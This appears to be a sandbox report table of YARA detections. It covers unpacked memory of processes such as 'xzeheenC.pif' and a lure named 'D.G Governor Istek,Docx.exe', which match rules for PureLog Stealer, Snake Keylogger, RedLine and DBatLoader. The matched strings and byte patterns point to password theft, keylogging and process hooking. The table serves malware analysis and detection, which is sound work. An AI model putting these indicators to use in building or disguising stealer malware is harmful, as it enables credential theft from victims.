4.2.xzeheenC.pif.1ce5c896.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1ce5c896.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
4.2.xzeheenC.pif.1ce5c896.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
13.2.xzeheenC.pif.30ca0000.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.xzeheenC.pif.30ca0000.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.30ca0000.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
13.2.xzeheenC.pif.30ca0000.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
13.2.xzeheenC.pif.330f0000.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.xzeheenC.pif.330f0000.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.330f0000.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
13.2.xzeheenC.pif.330f0000.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
13.2.xzeheenC.pif.30ca0000.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.30ca0000.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
13.2.xzeheenC.pif.30ca0000.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
4.2.xzeheenC.pif.1ce5b98e.1.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1ce5b98e.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
4.2.xzeheenC.pif.1ce5b98e.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
13.2.xzeheenC.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
13.2.xzeheenC.pif.3092c896.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.xzeheenC.pif.3092c896.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.3092c896.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
13.2.xzeheenC.pif.3092c896.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
4.1.xzeheenC.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
6.2.Cneehezx.PIF.21496c78.5.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1bcb0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x3acb0:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x3b330:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1d98a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1d5d0:$s5: delete[] 0x1ca88:$s6: constructor or from DllMain.
9.2.xzeheenC.pif.35556478.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.35556478.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
9.2.xzeheenC.pif.36aa0f08.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.35556478.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
9.2.xzeheenC.pif.36aa0f08.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
9.2.xzeheenC.pif.36aa0f08.7.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
0.2.D.G Governor Istek,Docx.exe.21ab13d8.8.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
4.2.xzeheenC.pif.1d270000.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1d270000.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
4.2.xzeheenC.pif.1d270000.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
4.2.xzeheenC.pif.1e2f6478.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.xzeheenC.pif.1e2f6478.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1e2f6478.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x60d2d:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x60d01:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x60dc5:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x60cdd:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x60d43:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x60b10:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x5d24e:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x5d21d:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword 0x60be4:$a13: _encryptedPassword
4.2.xzeheenC.pif.1e2f6478.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x5f575:$s1: UnHook 0x271f9:$s2: SetHook 0x5f511:$s2: SetHook 0x27232:$s3: CallNextHook 0x5f54a:$s3: CallNextHook 0x271c1:$s4: _hook 0x5f4d9:$s4: _hook
9.1.xzeheenC.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
4.2.xzeheenC.pif.1e2f5570.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1e2f5570.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
4.2.xzeheenC.pif.1e2f5570.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
4.1.xzeheenC.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
4.2.xzeheenC.pif.1f670000.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1f670000.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
4.2.xzeheenC.pif.1f670000.8.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
13.3.xzeheenC.pif.2ed4e980.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.3.xzeheenC.pif.2ed4e980.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
13.3.xzeheenC.pif.2ed4e980.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
9.2.xzeheenC.pif.342cc896.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.342cc896.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
9.2.xzeheenC.pif.342cc896.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
9.2.xzeheenC.pif.36aa0000.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.xzeheenC.pif.36aa0000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.36aa0000.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
9.2.xzeheenC.pif.36aa0000.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
13.2.xzeheenC.pif.30ca0f08.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.30ca0f08.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
13.2.xzeheenC.pif.30ca0f08.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
13.2.xzeheenC.pif.330f0000.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.330f0000.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
13.2.xzeheenC.pif.330f0000.8.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
0.2.D.G Governor Istek,Docx.exe.29c0000.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
9.1.xzeheenC.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
13.1.xzeheenC.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
9.2.xzeheenC.pif.3558e790.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.3558e790.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
9.2.xzeheenC.pif.3558e790.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
9.2.xzeheenC.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
9.2.xzeheenC.pif.370d0000.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.xzeheenC.pif.370d0000.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.370d0000.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
9.2.xzeheenC.pif.370d0000.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
13.2.xzeheenC.pif.31d75570.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.31d75570.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
13.2.xzeheenC.pif.31d75570.7.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
4.2.xzeheenC.pif.1d270000.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.xzeheenC.pif.1d270000.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1d270000.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
